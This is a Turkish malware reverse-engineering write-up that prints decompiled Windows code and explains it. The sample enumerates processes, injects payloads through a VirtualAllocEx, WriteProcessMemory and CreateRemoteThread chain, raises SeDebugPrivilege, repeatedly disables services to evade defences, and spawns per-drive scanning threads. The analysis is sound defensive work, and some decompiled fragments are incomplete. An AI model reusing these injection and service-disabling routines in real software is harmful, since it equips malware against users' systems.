İncelenen ana kullanıcı-mod bileşen, başlatıldığı anda Winsock altyapısını hazırlamakta, birden fazla kritik bölüm nesnesi oluşturmakta ve farklı başlangıç adreslerine sahip çok sayıda iş parçacığı başlatmaktadır. Ayrıca dahili bir yapı üzerinde kayıt benzeri verileri işleyerek çalışma zamanında görev/konfigürasyon benzeri içerikleri yüklediği değerlendirilmektedir. Sürecin sonsuz bir bekleme döngüsünde tutulması, bu bileşenin kısa ömürlü bir loader’dan ziyade sürekli çalışan ana kontrol bileşeni olduğunu göstermektedir.

Sürecin ilk başlattığı iş parçacığı olması sebebiyle lpStartAddress_0040d400 thread fonksiyonu analize dahil edilmiştir.

1
2
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040d400,(LPVOID)0x0,0,
                        &local_1b0);

lpStartAddress_0040d400

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_0040d400(void)

{
  undefined1 *hMem;
  int iVar1;
  uint uVar2;
  void *pvStack_14;
  undefined *puStack_10;
  undefined *puStack_c;
  undefined4 local_8;

  local_8 = 0xffffffff;
  puStack_c = &DAT_00480250;
  puStack_10 = &DAT_004134f0;
  pvStack_14 = ExceptionList;
  ExceptionList = &pvStack_14;
  hMem = GlobalAlloc(0x40,0x15000);
  local_8 = 0;
  iVar1 = FUN_00407bbf(hMem);
  if (iVar1 != 0) {
    FUN_00412bab((undefined1 *)&lpBuffer_0047b1d0,hMem,0x2000);
  }
  GlobalFree(hMem);
  DAT_0047c943 = 0;
  if (((lpBuffer_0047b1d0 != (LPCVOID)0x0) &&
      (uVar2 = FUN_0040d3ab(0x47b1d0,0x22222222), uVar2 != 0)) &&
     (uVar2 = FUN_0040d3ab(0x47b1d0,0x33333333), uVar2 != 0)) {
    FUN_00412bab(&DAT_0047e1d0,&DAT_004856cc,0x30);
    FUN_0040d3ab(0x47e1d0,0x22222222);
    FUN_0040d3ab(0x47e1d0,0x33333333);
    do {
      FUN_0040d140();
      Sleep(0x2800);
    } while( true );
  }
  local_8 = 0xffffffff;
                    /* WARNING: Subroutine does not return */
  ExitThread(0);
}

Bu thread, çalışma başlangıcında dinamik olarak bellek ayırmakta (GlobalAlloc) ve ayrılan buffer içerisine FUN_00407bbf fonksiyonu aracılığıyla veri yüklemektedir. Elde edilen veri daha sonra global bir buffer’a kopyalanarak (lpBuffer_0047b1d0) işlenmek üzere hazırlanır.

Takip eden aşamada, bu veri üzerinde FUN_0040d3ab fonksiyonu iki farklı sabit değer (0x22222222 ve 0x33333333) ile çağrılarak çok aşamalı bir doğrulama veya çözme (decode) işlemi gerçekleştirilmektedir. Bu kontrollerin başarılı olması durumunda, ikinci bir veri bloğu daha hazırlanmakta ve benzer işlemlerden geçirilmektedir. Bu davranış, örneğin çalışma sırasında yapılandırma verisi veya görev listesi benzeri içerikleri dinamik olarak hazırladığını göstermektedir.

Thread’in ana işlevi ise, doğrulama ve hazırlık aşamalarının ardından sonsuz bir döngü içerisinde FUN_0040d140 fonksiyonunu periyodik olarak çağırmaktır. Her iterasyon arasında belirli bir süre (Sleep(0x2800)) beklenerek sürekli çalışan bir işleyici (worker) mekanizması oluşturulmuştur.

Ardından ilgili rutinin çağırdığı FUN_0040D140 fonksiyonu incelenmiştir.

FUN_0040D140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void FUN_0040d140(void)

{
  HANDLE pvVar1;
  int iVar2;
  undefined4 *puVar3;
  uint *puVar4;
  char *pcVar5;
  uint uVar6;
  undefined4 local_238;
  uint local_234 [8];
  CHAR local_214 [260];
  HANDLE local_110;
  DWORD local_10c;
  CHAR local_108;
  undefined4 local_107;

  local_10c = 0;
  local_108 = '\0';
  puVar3 = &local_107;
  for (iVar2 = 0x40; iVar2 != 0; iVar2 = iVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  *(undefined2 *)puVar3 = 0;
  *(undefined1 *)((int)puVar3 + 2) = 0;
  local_110 = (HANDLE)CreateToolhelp32Snapshot(2,0);
  if (local_110 != (HANDLE)0x0) {
    local_238 = 0x128;
    puVar4 = local_234;
    for (iVar2 = 0x49; iVar2 != 0; iVar2 = iVar2 + -1) {
      *puVar4 = 0;
      puVar4 = puVar4 + 1;
    }
    iVar2 = Process32First(local_110,&local_238);
    if ((iVar2 != 0) && (10 < local_234[1])) {
      iVar2 = lstrlenA(local_214);
      if (iVar2 < 0x41) {
        lstrcpyA(&local_108,local_214);
      }
      else {
        lstrcpynA(&local_108,local_214,0x40);
      }
      CharLowerA(&local_108);
      pcVar5 = s_M_%d__004856bc;
      uVar6 = local_234[1];
      iVar2 = lstrlenA(&local_108);
      wsprintfA(&local_108 + iVar2,pcVar5,uVar6);
      pvVar1 = CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,0,&local_108);
      local_10c = GetLastError();
      ReleaseMutex(pvVar1);
      CloseHandle(pvVar1);
      if (local_10c == 0) {
        FUN_0040cb22(local_234[1],&local_108);
      }
    }
    while (iVar2 = Process32Next(local_110,&local_238), iVar2 != 0) {
      if (10 < local_234[1]) {
        iVar2 = lstrlenA(local_214);
        if (iVar2 < 0x41) {
          lstrcpyA(&local_108,local_214);
        }
        else {
          lstrcpynA(&local_108,local_214,0x40);
        }
        CharLowerA(&local_108);
        pcVar5 = s_M_%d__004856c4;
        uVar6 = local_234[1];
        iVar2 = lstrlenA(&local_108);
        wsprintfA(&local_108 + iVar2,pcVar5,uVar6);
        pvVar1 = CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,0,&local_108);
        local_10c = GetLastError();
        ReleaseMutex(pvVar1);
        CloseHandle(pvVar1);
        if (local_10c == 0) {
          FUN_0040cb22(local_234[1],&local_108);
        }
      }
    }
  }
  CloseHandle(local_110);
  return;
}

İncelenen FUN_0040d140 fonksiyonu, sistemde çalışan süreçleri CreateToolhelp32Snapshot API’si aracılığıyla enumerate eden ve her bir süreç için benzersiz bir mutex adı oluşturarak daha önce işlenip işlenmediğini kontrol eden bir mekanizma içermektedir. Süreç adı küçük harfe dönüştürülerek PID ile birleştirilmekte ve bu değer üzerinden mutex oluşturulmaktadır. Eğer mutex daha önce mevcut değilse, ilgili süreç yeni bir hedef olarak değerlendirilmekte ve FUN_0040cb22 fonksiyonuna iletilmektedir. Bu yapı, zararlının süreçleri tekil olarak işlemek üzere tasarlanmış bir hedefleme ve görev dağıtım mekanizması kullandığını göstermektedir.

Zararlı kodun devamında FUN_0040CB22 fonksiyonu analiz edilmiştir.

İlgili fonksiyonun uzunluğu sebebiyle satır satır kod verilmeyecektir.

image.png

FUN_0040cb22(pid, mutex_name) hedef process için şunları yapıyor:

  • Önce OpenProcess(0x1F0FFF, ...) ile hedef süreci tam yetkiye yakın erişimle açmaya çalışıyor. Erişim reddedilirse SeDebugPrivilege etkinleştirip tekrar deniyor.
  • Sonra hedef sürecin token bilgisini alıyor ve hesabın kim olduğunu çözüyor.
  • Hedef işlemin söz konusu ayrıcalıklı hesaplardan biriyle çalıştığı tespit edilirse, sürece enjeksiyon yapmak yerine yalnızca ilişkili mutex nesnesi oluşturulmaktadır.
  • Eğer hedef kullanıcı bağlamında çalışan bir süreçse, iki ayrı bellek bölgesi ayırıyor.

İlgili ayrıcalıklı hesaplar:

  • SYSTEM
  • LOCAL SERVICE
  • NETWORK SERVICE

Ayrılan bellek bölgeleri:

  • VirtualAllocEx(..., 0x2000, ..., PAGE_EXECUTE_READWRITE)
  • VirtualAllocEx(..., 0x1000, ..., PAGE_EXECUTE_READWRITE)

İlk bölgeye global buffer’daki shellcode/payload yazılıyor:

1
2
WriteProcessMemory(...,&lpBuffer_0047b1d0,0x2000, ...)
CreateRemoteThread(...,local_124c, ...)

Bu doğrudan ilk aşama remote code execution davranışıdır.

Ardından ikinci bölgeye başka bir veri bloğu yazılıyor:

  • DAT_0047e1d0 içeriği
  • ayrıca param_2 ile gelen mutex adı

Sonra buna da tekrar CreateRemoteThread çağrılıyor.

Analiz sonucunda; ilgili fonksiyon tekil bir enjeksiyondan ziyade, iki aşamalı (2-stage) uzak iş parçacığı tabanlı bir enjeksiyon yöntemi uygulamaktadır.

Zararlı, hedef sürece iki aşamalı bir enjeksiyon gerçekleştirmektedir. İlk aşamada ana payload, ikinci aşamada ise yapılandırma veya parametre verisi bellek içerisine yazılarak ayrı ayrı CreateRemoteThread çağrıları ile çalıştırılmaktadır. Bu yaklaşım, payload ile konfigürasyonun ayrıştırılmasına ve daha esnek bir çalışma modeline olanak sağlamaktadır.

Teknik olarak sınıflandırma

Bu fonksiyonun gözlenen davranışı şunlardan oluşmaktadır:

  • hedef süreç açma
  • gerekirse SeDebugPrivilege alma
  • hedef kullanıcı hesabını kontrol etme
  • uzak süreçte bellek ayırma
  • shellcode/config yazma
  • CreateRemoteThread ile çalıştırma

Bu zincir, kullanıcı modunda gerçekleştirilen uzak süreç enjeksiyonu ile uyumludur.

Önceki Akışla İlişkisi

Bu fonksiyon, önceki thread analizinde görülen hedef seçme mekanizmasını tamamlamaktadır:

  • FUN_0040d140 süreçleri tarıyordu
  • mutex ile daha önce işlenmiş olanları eliyordu
  • FUN_0040cb22 fonksiyonu ise hedeflenen sürece asıl zararlı yükü (payload) enjekte etmektedir.

Bu aşamada FUN_0040cb22 fonksiyonu, hedef süreç PID’sini parametre olarak alarak ilgili süreci açmaya çalışmakta, erişim engeliyle karşılaşılması halinde SeDebugPrivilege yetkisini etkinleştirerek işlemi tekrar etmektedir. Ardından hedef sürecin token bilgisi incelenmekte ve süreç sahibi hesabın SYSTEM, LOCAL SERVICE veya NETWORK SERVICE olup olmadığı kontrol edilmektedir. Bu ayrıcalıklı hesaplara ait süreçlerde doğrudan enjeksiyon yerine yalnızca mutex oluşturma davranışı gözlenirken, kullanıcı bağlamında çalışan süreçlerde VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread API zinciri kullanılarak iki ayrı bellek bölgesine payload ve yardımcı veri yazıldığı ve uzak süreçte çalıştırıldığı tespit edilmiştir.

Bir sonraki analiz adımı FUN_0040d3ab fonksiyonudur.

İlgili fonksiyon, enjeksiyon evresinden önce zararlı yük ve yapılandırma verilerinin bellekte nasıl hazırlandığını göstermektedir. Bu analizin ardından iş parçacıkları üzerinden zararlının ağ kapasiteleri haritalandırılacaktır.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uint __cdecl FUN_0040d3ab(int param_1,int param_2)

{
  uint local_8;

  local_8 = 0;
  while( true ) {
    if (199 < local_8) {
      return 0;
    }
    if (*(int *)(param_1 + local_8) == param_2) break;
    local_8 = local_8 + 1;
  }
  FUN_00412bab((undefined1 *)(param_1 + local_8),&stack0x0000000c,4);
  return local_8;
}

Bu fonksiyon, verilen tamponun ilk 200 baytı içinde belirli bir 4 baytlık değeri aramakta ve eşleşme bulursa o konumu çağıran fonksiyondan gelen 4 baytlık veri ile değiştirmektedir.


Teknik İnceleme ve Akış

Döngü Mekanizması ve Veri Arama

1
while (local_8 <= 199)

Analiz rutini, veri tamponunun (buffer) yalnızca ilk 200 baytlık bölümünü taramak üzere kısıtlandırılmıştır.


Hedeflenen Veri Yapısı

1
*(int *)(param_1 + local_8) == param_2

Bu denklem, bellek tamponu içerisinde 4 bayt uzunluğundaki sabit bir değere (DWORD) dair arama yapıldığını göstermektedir.


Tespit Edilen Sabit Değerler (Constants)

Statik analizde daha önceden tespit edilen sabit referanslar şunlardır:

1
2
0x22222222
0x33333333

Özet Tespit:

Bu bağlamda, tampon içinde aşağıdaki sabit yer tutucu (placeholder) değerlerin arandığı görülmektedir:

1
2
22 22 22 22
33 33 33 33

Tespit ve Bellek Manipülasyonu (Patching)

1
FUN_00412bab(param_1 + local_8, &stack0x0000000c, 4);

Hedeflenen 4 baytlık bölge üzerine yeni bir veri yazılarak (overwrite) bellek manipülasyonu gerçekleştirilmektedir.


Davranışsal Karşılık

Yer tutucu değerler, çalışma anında çağıran fonksiyondan gelen 4 baytlık veri ile güncellenmektedir.


Manipüle Edilen Hedef Veri

Şu değer:

1
&stack0x0000000c

Çağıran (caller) fonksiyonun yığınından (stack) dinamik olarak sağlanan adresi temsil etmektedir.


Önemi

Bu davranış, ilgili veri bloğunun tamamen sabit bırakılmadığını ve çalışma anında kısmi patching uygulandığını göstermektedir.


Sınırları Bilinen Çıkarım

Bu fonksiyon özelinde güvenle söylenebilecek hususlar şunlardır:

  • sabit bir DWORD marker aranmaktadır
  • eşleşen konum 4 baytlık yeni veri ile overwrite edilmektedir
  • kullanılan yeni veri çağıranın stack alanından sağlanmaktadır

Bu fonksiyon özelinde tek başına doğrulanamayan hususlar şunlardır:

  • bunun relocation amacı taşıyıp taşımadığı
  • konfigürasyon enjekte edilip edilmediği
  • builder veya custom build mantığı kullanılıp kullanılmadığı

Kritik Gözlem

İlgili satır:

if ((int)(param_1+local_8)==param_2)

İlgili veri bloğu içinde bilinçli olarak yerleştirilmiş görünen sabit işaretçi değerlerin çalışma anında patch edildiğini göstermektedir.


Analiz Değerlendirmesi

Bu fonksiyon bağlamında elde edilen bulgular, çalışma anında patch edilen placeholder değerler kullanıldığını göstermektedir. Bunun ötesindeki üretim modeli veya builder mantığına ilişkin değerlendirme, yalnızca bu kesit üzerinden kesin biçimde yapılamaz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_00405397(void)

{
  bool bVar1;
  HANDLE pvVar2;
  HMODULE hModule;
  undefined3 extraout_var;
  undefined3 extraout_var_00;
  int iVar3;
  int iVar4;
  DWORD local_c;
  HMODULE local_8;
  

    Sleep(0x1000);
  }
  else {
  }
  local_8 = (HMODULE)0x0;
  FUN_004043cd(PTR_s_System\CurrentControlSet\Control_00481a08,(HKEY)0x80000001);
  FUN_004043cd(PTR_s_System\CurrentControlSet\Control_00481a08,(HKEY)0x80000002);
  local_8 = LoadLibraryA(PTR_s_ADVAPI32.DLL_00481670);
  if ((((((local_8 != (HMODULE)0x0) &&
         (DAT_004140a4 = GetProcAddress(local_8,PTR_s_CreateServiceA_00481678),
         DAT_004140a4 != (FARPROC)0x0)) &&
        (DAT_00414098 = GetProcAddress(local_8,PTR_s_OpenSCManagerA_0048167c),
        DAT_00414098 != (FARPROC)0x0)) &&
       ((DAT_004140ac = GetProcAddress(local_8,PTR_s_OpenServiceA_00481680),
        DAT_004140ac != (FARPROC)0x0 &&
        (DAT_00414090 = GetProcAddress(local_8,PTR_s_CloseServiceHandle_00481684),
        DAT_00414090 != (FARPROC)0x0)))) &&
      ((DAT_00414048 = GetProcAddress(local_8,PTR_s_DeleteService_0048168c),
       DAT_00414048 != (FARPROC)0x0 &&
       ((DAT_00414068 = GetProcAddress(local_8,PTR_s_ControlService_00481690),
        DAT_00414068 != (FARPROC)0x0 &&
        (DAT_004140b0 = GetProcAddress(local_8,PTR_s_StartServiceA_00481698),
        DAT_004140b0 != (FARPROC)0x0)))))) &&
     (DAT_00414094 = GetProcAddress(local_8,PTR_s_ChangeServiceConfigA_004816b0),
     DAT_00414094 != (FARPROC)0x0)) {

    iVar3 = 0;
    pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_004048b7,(LPVOID)0x0,0,
                          &local_c);
    hModule = LoadLibraryA(PTR_s_NTDLL.DLL_00481624);

       (DAT_00414008 = GetProcAddress(hModule,PTR_s_NtQuerySystemInformation_00481498),
       DAT_00414008 != (FARPROC)0x0)) {
      bVar1 = FUN_0040462a();
      if (CONCAT31(extraout_var,bVar1) == 0) {
      }
      bVar1 = FUN_0040462a();


        iVar3 = 0;
        pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040536b,(LPVOID)0x0,0,
                              &local_c);
      }
    }
  }
                    /* WARNING: Subroutine does not return */

}

lpStartAddress_00405397 fonksiyonu, servis yönetimi ve ortam hazırlığı odaklı bir iş parçacığıdır. Fonksiyon, ADVAPI32.DLL üzerinden servis denetim yöneticisiyle ilgili API’leri (CreateServiceA, OpenSCManagerA, OpenServiceA, StartServiceA, DeleteService, ChangeServiceConfigA vb.) dinamik olarak çözümlemekte ve bu sayede servis oluşturma, başlatma, durdurma, silme ve yeniden yapılandırma yetenekleri kazanmaktadır. Devamında NTDLL.DLL içinden NtQuerySystemInformation çözülerek sistem durumu/ortam kontrolü yapılmakta, elde edilen sonuca göre ek bileşenler veya yardımcı iş parçacıkları devreye alınmaktadır. Bu yapı, zararlının yalnızca süreç enjeksiyonu ile sınırlı olmadığını, aynı zamanda servis tabanlı bileşen yönetimi ve ortam koşullarına göre hareket eden modüler bir mimariye sahip olduğunu göstermektedir.

Devamında aşağıdaki thread oluşturulmaktadır:

1
CreateThread(..., lpStartAddress_004048b7, ...)

lpStartAddress_004048b7 rutini analize dahil edilmiştir.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* WARNING: Removing unreachable block (ram,0x00404974) */
/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_004048b7(void)

{
  undefined4 uVar1;
  int iVar2;
  uint local_24;
  void *pvStack_14;
  undefined *puStack_10;
  undefined *puStack_c;
  puStack_c = &DAT_00480210;
  puStack_10 = &DAT_004134f0;
  pvStack_14 = ExceptionList;
  local_8 = 0;
  ExceptionList = &pvStack_14;
  uVar1 = (*DAT_00414098)(0,0,0xf003f);
  do {
    Sleep(0x1000);
    local_24 = 0;
    while ((local_24 < 0x96 && (iVar2 = lstrlenA((&PTR_DAT_004816e0)[local_24]), 0 < iVar2))) {
      FUN_00404673(uVar1,(&PTR_DAT_004816e0)[local_24],1);
      local_24 = local_24 + 1;
      Sleep(0x80);
    }
    Sleep(0x2d000);
  } while( true );
}

lpStartAddress_004048b7 fonksiyonu, servis denetim yöneticisine (OpenSCManagerA) bağlandıktan sonra gömülü bir servis/ad listesi üzerinde döngüsel işlem yapan bir iş parçacığıdır. Fonksiyon, listedeki her öğe için FUN_00404673 fonksiyonunu çağırmakta ve bunu belirli aralıklarla tekrarlamaktadır. Bu davranış, zararlının servis tabanlı bileşenleri yalnızca bir kez kurmakla kalmayıp, bunların durumunu periyodik olarak yeniden işlediğini göstermektedir.

FUN_00404673

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined4 __cdecl FUN_00404673(undefined4 param_1,undefined4 param_2,int param_3)

{
  undefined4 local_28;
  undefined1 local_24 [28];
  int local_8;
  
  local_8 = (*DAT_004140ac)(param_1,param_2,0xf01ff);
  if (local_8 == 0) {
    local_28 = 0;
  }
  else {
    if (param_3 == 0) {
      local_28 = (*DAT_00414048)(local_8);
    }
    else {
      (*DAT_00414068)(local_8,1,local_24);
      local_28 = (*DAT_00414094)(local_8,0xffffffff,4,0xffffffff,0,0,0,0,0,0,0);
    }
    (*DAT_00414090)(local_8);
  }
  return local_28;
}

FUN_00404673 fonksiyonu, hedef servisleri OpenServiceA ile açtıktan sonra, parametreye bağlı olarak ya servisi silmekte ya da ControlService çağrısı ile durdurup ChangeServiceConfigA aracılığıyla başlangıç tipini SERVICE_DISABLED olarak değiştirmektedir. Bu fonksiyon, gömülü servis listesi üzerinde döngüsel olarak çağrıldığından, zararlının belirli servisleri sürekli olarak devre dışı bırakmaya yönelik bir mekanizma içerdiği anlaşılmaktadır. Bu davranış, güvenlik ürünlerini veya sistem servislerini etkisiz hale getirerek zararlının tespit edilmesini zorlaştırmayı amaçlayan bir savunma kaçınma (defense evasion) tekniğine işaret etmektedir.


Bu aşamaya kadar yapılan analizde, incelenen örneğin çok katmanlı bir mimariye sahip olduğu ve farklı bileşenler aracılığıyla çalıştığı tespit edilmiştir. İlk aşamada, gömülü payload’ı çalışma anında çözüp bellek üzerinden çalıştıran bir loader bileşeni analiz edilmiş, ardından kullanıcı-mod ana bileşen incelenmiştir.

Ana bileşenin çok iş parçacıklı bir yapı ile çalıştığı ve farklı thread’ler üzerinden ayrı görevler yürüttüğü görülmüştür. Bu kapsamda, bir thread’in sistemde çalışan süreçleri enumerate ederek uygun hedeflere VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread API’leri aracılığıyla payload enjekte ettiği belirlenmiştir. Ayrıca, zararlının gerektiğinde SeDebugPrivilege yetkisini kullanarak erişim seviyesini artırdığı gözlemlenmiştir.

Buna ek olarak, ayrı bir thread’in servis yönetimi API’lerini (OpenSCManagerA, OpenServiceA, ControlService, ChangeServiceConfigA vb.) kullanarak belirli servisleri durdurduğu ve devre dışı bıraktığı tespit edilmiştir. Bu davranışın, güvenlik mekanizmalarını etkisiz hale getirmeye yönelik bir savunma kaçınma tekniği olduğu değerlendirilmektedir.

Mevcut aşamada zararlının süreç enjeksiyonu, ayrıcalık yükseltme ve servis manipülasyonu gibi temel yetenekleri ortaya konmuştur. Ancak, enjekte edilen payload’ın ağ iletişimi (C2), veri toplama veya komut yürütme gibi nihai işlevleri henüz net olarak belirlenmemiştir.

Bu nedenle analizin bir sonraki aşamasında, diğer iş parçacıklarının (özellikle ağ veya komut işleme ile ilişkili olanların) incelenmesi hedeflenmektedir.

lpStartAddress_0040e3d1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_0040e3d1(void)

{
  HANDLE pvVar1;
  int iVar2;
  undefined4 *puVar3;
  DWORD local_1010;
  HMODULE local_100c;
  uint local_1008;
  CHAR local_1004;
  undefined4 local_1003;
  undefined4 uStackY_2c;
  int iVar4;
  
  local_1010 = 0;

  local_1004 = '\0';
  puVar3 = &local_1003;
  for (iVar2 = 0x3ff; iVar2 != 0; iVar2 = iVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  *(undefined2 *)puVar3 = 0;
  *(undefined1 *)((int)puVar3 + 2) = 0;
  while (DAT_00476204 == 0) {
    Sleep(0x400);
  }
  lstrcpyA(&local_1004,PTR_DAT_0048160c);
  DAT_00414000 = (FARPROC)0x0;
  local_100c = LoadLibraryA(&local_1004);
  if (local_100c != (HMODULE)0x0) {
    DAT_00414000 = GetProcAddress(local_100c,PTR_s_SfcIsFileProtected_00481608);
  }
  if (DAT_00414000 == (FARPROC)0x0) {
    FreeLibrary(local_100c);
    lstrcatA(&local_1004,PTR_DAT_004814c4);
    local_100c = LoadLibraryA(&local_1004);
    if (local_100c != (HMODULE)0x0) {
      DAT_00414000 = GetProcAddress(local_100c,PTR_s_SfcIsFileProtected_00481608);
    }
  }
  iVar4 = 0;
  iVar2 = 0;
  uStackY_2c = 0x40e4ee;
  pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040dc61,(LPVOID)0x0,0,
                        &local_1010);
  iVar4 = 0;
  iVar2 = 0;
  uStackY_2c = 0x40e515;
  pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040cac7,(LPVOID)0x0,0,
                        &local_1010);
  Sleep(0x400);
  local_1008 = 0x42;
  while (local_1008 < 0x5a) {

    iVar2 = 0;
    uStackY_2c = 0x40e57b;
    pvVar1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040c910,&local_1008,0,
                          &local_1010);
    local_1008 = local_1008 + 1;

  }
  Sleep(0x400);
  FUN_0040c527((HKEY)0x80000001);
  FUN_0040c527((HKEY)0x80000002);
  do {
  } while( true );
}

lpStartAddress_0040e3d1 fonksiyonu, sistem hazırlığı tamamlandıktan sonra devreye giren ve dosya sistemi ile registry odaklı ek worker thread’leri başlatan bir orkestratör iş parçacığıdır. Fonksiyon, SfcIsFileProtected API’sini dinamik olarak çözümleyerek Windows File Protection/System File Checker korumasını dikkate alan bir çalışma mantığı kullandığını göstermektedir. Ardından ek yardımcı thread’ler başlatılmakta ve B: ile Y: arasındaki sürücü harfleri için ayrı iş parçacıkları oluşturulmaktadır. Bu davranış, zararlının birden fazla sürücü üzerinde tarama, kopyalama veya yayılım benzeri işlemler gerçekleştirebileceğine işaret etmektedir. Fonksiyon ayrıca registry tarafında ek işlemler başlatarak yalnızca süreç enjeksiyonu ile sınırlı olmayan, daha geniş kapsamlı bir sistem etkileşimi sergilemektedir.

İncelenecek bir sonraki bileşen:

lpStartAddress_0040c910

Bu iş parçacığının analize dahil edilmesinin sebebi, doğrudan sürücü harflerini (A:, B:, C: vb.) parametre olarak kabul edip çalışmasıdır.

Bu durum, zararlının yerel sürücüler üzerindeki manipülasyon ve enfeksiyon faaliyetlerinin saptanmasını mümkün kılmaktadır.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_0040c910(undefined4 *param_1)

{
  undefined4 uVar1;
  UINT UVar2;
  int iVar3;
  undefined4 *puVar4;
  CHAR local_1148;
  CHAR local_1144;
  undefined4 local_1143;
  DWORD local_144;
  undefined4 local_140 [73];
  CHAR aCStackY_1c [4];
  
  uVar1 = *param_1;
  local_144 = 0;
  puVar4 = local_140;
  for (iVar3 = 0x4f; iVar3 != 0; iVar3 = iVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  }
  local_1144 = '\0';
  puVar4 = &local_1143;
  for (iVar3 = 0x3ff; iVar3 != 0; iVar3 = iVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;

  *(undefined2 *)puVar4 = 0;
  *(undefined1 *)((int)puVar4 + 2) = 0;
  lstrcpyA(&local_1144,PTR_DAT_00481484);
  local_1148 = (CHAR)uVar1;
  local_1144 = local_1148;
  UVar2 = GetDriveTypeA(&local_1144);
  if (UVar2 != 5) {
    aCStackY_1c[0] = -0x5c;
    aCStackY_1c[1] = -0x37;
    aCStackY_1c[2] = '@';
    aCStackY_1c[3] = '\0';
  }
                    /* WARNING: Subroutine does not return */
  ExitThread(0);
}

lpStartAddress_0040c910 fonksiyonu, ayrı bir thread içerisinde kendisine parametre olarak verilen sürücü harfini işleyerek ilgili sürücünün türünü GetDriveTypeA ile kontrol etmektedir. CD-ROM sürücüler (DRIVE_CDROM) hariç tutularak diğer sürücüler üzerinde FUN_0040bac3 fonksiyonu çağrılmaktadır. Bu davranış, zararlının birden fazla sürücü üzerinde dosya sistemi taraması, hedef arama veya yayılım amaçlı işlemler gerçekleştirebileceğini göstermektedir. Özellikle çıkarılabilir diskler, yerel sürücüler ve ağ sürücüleri üzerinde çalışabilecek şekilde tasarlanmış olması, zararlının yalnızca süreç enjeksiyonu ile sınırlı kalmadığını, dosya sistemi temelli ek yayılım veya keşif yeteneklerine de sahip olabileceğini düşündürmektedir.

Sıradaki aşamada FUN_0040bac3 fonksiyonu incelenmiştir:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
undefined4 __cdecl FUN_0040bac3(int param_1,LPSTR param_2,char param_3,LPWIN32_FIND_DATAA param_4)

{
  char *pcVar1;
  HANDLE hFindFile;
  BOOL BVar2;
  uint uVar3;
  int iVar4;
  int iVar5;
  undefined4 *puVar6;
  uint local_428;
  CHAR local_420;
  undefined4 local_41f;
  int local_20;
  undefined1 *local_1c;
  void *local_14;
  undefined *puStack_10;
  undefined *puStack_c;
  undefined4 local_8;
  
  puStack_c = &DAT_00480230;
  puStack_10 = &DAT_004134f0;
  local_14 = ExceptionList;
  local_1c = &stack0xfffffbc4;
  local_420 = '\0';
  puVar6 = &local_41f;
  for (iVar4 = 0xff; iVar4 != 0; iVar4 = iVar4 + -1) {
    *puVar6 = 0;
    puVar6 = puVar6 + 1;
  }
  *(undefined2 *)puVar6 = 0;
  *(undefined1 *)((int)puVar6 + 2) = 0;
  local_428 = 0;
  local_20 = 0;
  local_8 = 0;
  ExceptionList = &local_14;
  Sleep((-(uint)(param_3 != '\0') & 0x800) + 0x800);
  if (param_2[param_1 + -1] != '\\') {
    lstrcatA(param_2,(LPCSTR)&lpString2_0048566c);
    param_1 = param_1 + 1;
  }
  lstrcpyA(&local_420,param_2);
  CharLowerA(&local_420);
  pcVar1 = FUN_004042a8(&local_420,(char *)&lpsz_004140d4);
  if (pcVar1 == (char *)0x0) {
    lstrcatA(param_2,(LPCSTR)&lpString2_00485670);
    hFindFile = FindFirstFileA(param_2,param_4);
    if (hFindFile != (HANDLE)0xffffffff) {
      while (BVar2 = FindNextFileA(hFindFile,param_4), BVar2 != 0) {
        if (param_4->cFileName[0] != '.') {
